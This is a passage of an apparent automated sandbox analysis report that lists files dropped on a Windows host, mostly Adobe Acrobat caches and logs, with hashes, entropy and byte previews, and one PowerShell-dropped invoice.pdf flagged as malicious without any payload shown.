SSDEEP:	6:YEQXJ2HX7JGk8f/+FIbRI6XVW7+0YioAvJTqgFCrPeUkwRe9:YvXKXFGkxYpW7YGTq16Ukee9
MD5:	F302168A70E64829795864150436694C
SHA1:	E5B07E4E429861C15C46274E536DA9CAA51CD32D
SHA-256:	FD2C99BB406916F6E86F294CF676CFD80A2B4B5D1409CB02A77261C96EED45EE
SHA-512:	7841BFAA315B06793BB0F522EAF2078B84C6295CA000890E3D3A17D6BB29AAE3248BC3EAA280DF19A9CA521663E5B9DFB3D2BE4BC8F8D3092E6784164F8E63FC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7c61d9f3-3100-430c-b59a-57cd3bb988a7","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736709044217,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.146716584420571
Encrypted:	false
SSDEEP:	24:YL5oad1NayTPvs/0j5M4r1rbBADRn0EAs6flj96j0Sl9u9xUo23H2LSlXCOkYvJ2:YLt55RrbkR0FOEV0Hzy4V7nY79gc
MD5:	34B78E1B612E093B265357212F927E84
SHA1:	1F9B8317FDF522A9324E77BC55CE299116B099C5
SHA-256:	FD2DED0DF67548ED2AA807F436BFF536C872627EB96CAE703D814643D6CF746C
SHA-512:	E5998D1B91403434488DE03E96C91151F683A601CE6B8DE2B1EEDE0DAF3E923C56058FAA560143F65671F4A067CD7AA1A0FE03CBCB6C0F785BE3543B12D5AFED
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"7bc99d67f1c537a2237db720bb851ae3","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736529044000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"1c74779a93a39a1115042c6099cb9b64","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736529043000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"ea98823525898b0558712101f426c156","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736529043000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"389b710aefa867038c211f2be1174fd3","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736529043000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"3350bb6b80b81b08485fdd60d76b2345","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","size":289,"ts":1736529043000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"6fa5cf1a2a316449ee8a2e950c542f5c","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 19, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 19
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	0.9836850759712907
Encrypted:	false
SSDEEP:	24:TLHRx/XYKQvGJF7urs6I1RZKHs/Ds/Spz4zJwtNBwtNbRZ6bRZ4SF:TVl2GL7ms6ggOVpszutYtp6Pf
MD5:	95C94DBB4CB1782A61300D5080C84D49
SHA1:	2765743A06F381AC9E2D58C3EA473DEA76DABBDB
SHA-256:	C36C2E11191F05FE1143DC0824A91B2DC44A81D554B82140068DD5EF831BA763
SHA-512:	E8FD44C6D6BD4F957B9EA7F21D0F696CD7BF60E63B39B3BC7980E1FBF691A525FD2912E4C8A232ADAA3DDD7DA78E23A1D0DF6D901D33100E85B8F7F864AEF8DA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.336660924321081
Encrypted:	false
SSDEEP:	24:7+torAD1RZKHs/Ds/SpzPzJwtNBwtNbRZ6bRZWf1RZKIfqLBx/XYKQvGJF7ursd:7MorGgOVpTzutYtp6PM9fqll2GL7msd
MD5:	47570AC297D74F583F06C3331FE13E23
SHA1:	14D6EA4B308B056473399B55D53585420AD2F42B
SHA-256:	635F4A3709C6098A9DEA643FCDEC5765BCB467864984536D18A691DE1BEB4DB7
SHA-512:	1584EA2731ACC21B722A47AD1AD568252F2ACCFB3EFBC8C518A09A1CC4D423111BC2BAC17E1F9E4B17F7FE302E1F53C4DC23B4CE3438237596D27D4BF4767933
Malicious:	false
Preview:	.... .c.......iu......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................j...#..#.#.#.#.#.#.#.#.7.7........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEg+Fu1tUUNVVNS7uFbWetAGGYPXYyu:6a6TZ44ADE+FuQUNXNOua0XK
MD5:	95DA9F3AA86FF85AA3692F9554009390
SHA1:	1AD93F8E891174E014187524D7E3D9F9C1C78CC1
SHA-256:	54C36B1C5FCC1AE81014F0EE6148404D11D10767C461A1CEE7DACA4DF4DE070D
SHA-512:	664CF0FE9E5E2765077D0977DF09463DB346B91E177D2030AFC3BA8239EF0B84E5802693DFE9C461265B0936AC74F0BD12C4E565CB35AD71A7E7B3788E0CFB09
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul3nqth:NllUa
MD5:	851531B4FD612B0BC7891B3F401A478F
SHA1:	483F0D1E71FB0F6EFF159AA96CC82422CF605FB3
SHA-256:	383511F73A5CE9C50CD95B6321EFA51A8C6F18192BEEBBD532D4934E3BC1071F
SHA-512:	A22D105E9F63872406FD271EF0A545BD76974C2674AEFF1B3256BCAC3C2128B9B8AA86B993A53BF87DBAC12ED8F00DCCAFD76E8BA431315B7953656A4CB4E931
Malicious:	false
Preview:	@...e.................................&..............@..........

C:\Users\user\AppData\Local\Temp\MSIf5da4.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.503482856767026
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClE3GllOlH:Qw946cPbiOxDlbYnuRK+bD3Glw9
MD5:	BCCA85DA5F6BE9BE5C9B354E62AAA1C9
SHA1:	DAB7D07FF7AB3D5CF7A8874CD135B1E96F391B5F
SHA-256:	53F3F2DC6627833BC103A61CE41EC32FBE729E4538AAEEEC6B5B3A1D55DE6D2F
SHA-512:	F2F57C74902F894B254CEED43A7E12CD4298502B761C47C04BC95A920E83E14E7AE6BC32F4785F6F7B0554DBDEA54F250FBC33323493FEDC69A4B3B3185FF3DA
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.2.:.1.0.:.4.3. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ir2nvigf.nwd.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_n5ijwueu.opv.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 12-10-38-260.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.376360055978702
Encrypted:	false
SSDEEP:	384:6b1sdmfenwop+WP21h2RPjRNg7JjO2on6oU6CyuJw1oaNIIu9EMuJuF6MKK9g9JQ:vIn
MD5:	1336667A75083BF81E2632FABAA88B67
SHA1:	46E40800B27D95DAED0DBB830E0D0BA85C031D40
SHA-256:	F81B7C83E0B979F04D3763B4F88CD05BC8FBB2F441EBFAB75826793B869F75D1
SHA-512:	D039D8650CF7B149799D42C7415CBF94D4A0A4BF389B615EF7D1B427BC51727D3441AA37D8C178E7E7E89D69C95666EB14C31B56CDFBD3937E4581A31A69081A
Malicious:	false
Preview:	SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:961+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.372875963218954
Encrypted:	false
SSDEEP:	384:RBPY3dS/ZqPW9bBWSQNwkjur+fXu1HHh9y64OGo+EvLvhD8KaVLd8j8ynbxT/Uco:RcX
MD5:	2C17DBD33EDF51782416A80614ED9E2A
SHA1:	2AFD648D690283B0B5F65AC9F9B9B9D2B86B2206
SHA-256:	53CCC24D6F50A18BC0638C10078453C6634564A27568229A5266FCB494C7AB51
SHA-512:	2A0DCD4BBF1F2A873ABBF0F8D29EFFD10124810EEFB412A0A84BE838AF19662DAA5EA75B497C5667D80123D7CE01805A0BA34DFDC3CAD0F49ACED7C947100127
Malicious:	false
Preview:	SessionID=763da744-7369-48e1-9c0c-0ddafe374f9b.1736529038284 Timestamp=2025-01-10T12:10:38:284-0500 ThreadID=7588 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=763da744-7369-48e1-9c0c-0ddafe374f9b.1736529038284 Timestamp=2025-01-10T12:10:38:285-0500 ThreadID=7588 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=763da744-7369-48e1-9c0c-0ddafe374f9b.1736529038284 Timestamp=2025-01-10T12:10:38:285-0500 ThreadID=7588 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=763da744-7369-48e1-9c0c-0ddafe374f9b.1736529038284 Timestamp=2025-01-10T12:10:38:285-0500 ThreadID=7588 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=763da744-7369-48e1-9c0c-0ddafe374f9b.1736529038284 Timestamp=2025-01-10T12:10:38:285-0500 ThreadID=7588 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.392790936737967
Encrypted:	false
SSDEEP:	768:GLxxlyVUFcAzWL8VWL1ANSFld5YjMWLvJ8Uy++NSXl3WLd5WLrbhhVClkVMwDGb1:GA
MD5:	A73507053B205F7EAD2464E59E814729
SHA1:	2E505326BFA90114082D4D9EF69E392D5EF1D2E2
SHA-256:	F40358078087E81A6710E71FF967C5CABDE4D807782F52F3465A48AD7B65D496
SHA-512:	88304A489E349EB9F3AA1E8B86E5998E2B662DFBD5B771876E8E0F8BC733FC15B9B40B656D625F646F49EEA2DBBCC8CED3056DF14058E9C53EEF93DB6EDAA205
Malicious:	false
Preview:	04-10-2023 02:39:31:.---2---..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : *************************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : ***********************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Starting NGL..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..04-10-2023 02:39:31:.Closing File..04-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\1d541830-d8b1-4157-b033-7fa6b16429e3.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:6DaWL07oXGZGwYIGNPJNdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:caWLxXGZGwZGh3mlind9i4ufFXpAXkru
MD5:	7867DAFF192926A49EB7516D226D452F
SHA1:	BD0B185B12DB865CEA23060A9789C6B2D814B62E
SHA-256:	C7586BA81615BBAA63DA0D81CE18C0D087D1237500C99C35239A4D3CAEED2934
SHA-512:	B556042E82056983EA6A69AEE0DAB370641437EF6239FD04676FC26EC9472C6E5EF6194885C165E3987E8019321DCD9B4A574EA7A6253AC3C9468434AEAA0C21
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\4880dab1-bff1-40ca-938b-2e2406956f21.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\79440482-0800-4887-9765-44b62375b4fc.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\b140afc4-128a-4225-9ace-b2ad1a73117d.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
